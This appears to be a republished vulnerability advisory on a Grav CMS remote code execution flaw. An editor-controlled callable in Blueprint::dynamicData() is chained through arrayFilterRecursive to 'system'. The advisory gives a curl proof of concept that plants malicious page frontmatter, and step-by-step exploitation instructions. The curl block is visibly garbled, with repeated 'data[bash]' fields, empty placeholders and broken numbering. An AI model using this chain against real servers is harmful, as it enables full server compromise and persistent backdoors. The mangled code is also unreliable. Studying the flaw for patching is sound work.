Grav CMS, Remote Code Execution, CVE: N/A (Critical) -DC-Sep2026-2092

Listen to this Post

This vulnerability exists in Grav CMS where an authenticated user with admin.pages or api.pages.write permission can execute arbitrary shell commands on the server. The root cause lies in the Blueprint::dynamicData() method located in system/src/Grav/Common/Data/Blueprint.php at line 426. This method accepts a Class::method string and its arguments and passes them directly to call_user_func_array() without any allowlist or sanitization. The Form plugin processes page frontmatter data and invokes this path via form/classes/Form.php at line 432. Consequently, a page author who can edit frontmatter can fully control the callable and its parameters. The critical gadget is Grav\Common\Utils::arrayFilterRecursive($source, $fn) defined in system/src/Grav/Common/Utils.php at line 1169. This public static method iterates over the $source array and calls $fn($key, $value) for each element. By passing ‘system’ as the $fn argument, the function becomes call_user_func(‘system’, $key) where $key is the command string. An attacker crafts a form page with a field that includes a data-opts@ directive. The data-opts@ array contains three elements: the callable class::method (arrayFilterRecursive), an associative array with the command as a key, and the final argument ‘system’. When the page is saved, the frontmatter is stored with this malicious payload. On any subsequent request to that page – even from an unauthenticated visitor – the form processing logic triggers the dynamicData() call. The call_user_func_array executes arrayFilterRecursive, which in turn calls system($command) with the attacker-supplied command. The command output is captured and reflected in the HTTP response body because the form processing returns the result. The proof-of-concept uses a curl command to save a page named ‘rcepoc’ with the specific frontmatter structure. An admin session cookie and admin nonce are required to perform the save operation. Once saved, any GET request to /rcepoc triggers the RCE without any authentication. The output of the command (e.g., ‘id’) is prepended with a marker like ‘GRAV-RCE-OK’ for easy verification. This vulnerability crosses trust boundaries because admin.pages is meant only for content editing, not system command execution. The impact is critical as the web server user typically has significant privileges over the application and underlying system. No input filtering is applied to the method name or arguments, making exploitation straightforward. The vulnerability is present in the default configuration of Grav when the Admin and Form plugins are enabled. The attacker does not need to be authenticated to trigger the payload, only to plant it. This makes it a one-time planting followed by persistent backdoor-like execution. The official fix would require adding an allowlist of permitted callables or sanitizing user-controlled inputs in dynamicData. The vulnerable code has been present in multiple versions of Grav, though exact version boundaries are not specified in the advisory. The attack vector is via the admin panel’s page editing interface, exploiting the frontmatter YAML parsing. The arrayFilterRecursive function was not intended to be used with system or other dangerous functions in this context. The reflection of output in the response confirms command execution and aids in blind exploitation. Overall, this is a classic case of unsafe deserialization or callable injection leading to RCE.

DailyCVE Form:

Platform: Grav CMS
Version: Not specified
Vulnerability: RCE via admin.pages
Severity: Critical
date: 2026-09-02

Prediction: No patch yet

What Undercode Say:

curl ‘/admin/pages/rcepoc’ \

-H ‘Cookie: ‘ \
–data-urlencode ‘task=save’ \
–data-urlencode ‘admin-nonce=‘ \
–data-urlencode ‘data[bash]=rcepoc’ \
–data-urlencode ‘data[bash]=form’ \
–data-urlencode ‘data[]=x’ \
–data-urlencode ‘data[bash]=hi’ \
–data-urlencode “data[bash]=forms:

x:

fields:

y:

type: text

data-opts@:

  • ‘Grav\Common\Utils::arrayFilterRecursive’
  • { ‘echo GRAV-RCE-OK; id’: ‘x’ }
  • system”

curl ‘/rcepoc’

Exploit: (Educational Purposes!)

1. Obtain admin-nonce from any admin page (window.GravAdmin.config.admin_nonce).

  1. Replace , , and with actual values.
  2. Run the save curl to plant the malicious form page.
  3. Any unauthenticated visitor requesting the page triggers the command.
  4. Response body starts with “GRAV-RCE-OK” followed by command output.

Protection: from this CVE

  • Apply input allowlist for callables in dynamicData() to restrict to safe functions.
  • Validate and sanitize frontmatter fields, especially data-opts@ directives.
  • Restrict admin.pages and api.pages.write permissions to only trusted users.
  • Monitor for unusual pages or frontmatter containing arrayFilterRecursive.
  • Upgrade to a patched version once officially released.

Impact:

Full remote command execution as the web-server user. An attacker can read, modify, or delete files, install backdoors, pivot internally, and compromise the entire hosting environment. The vulnerability is trivially exploitable by any authenticated page editor and triggers on every public page view, making it a persistent and stealthy RCE backdoor.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top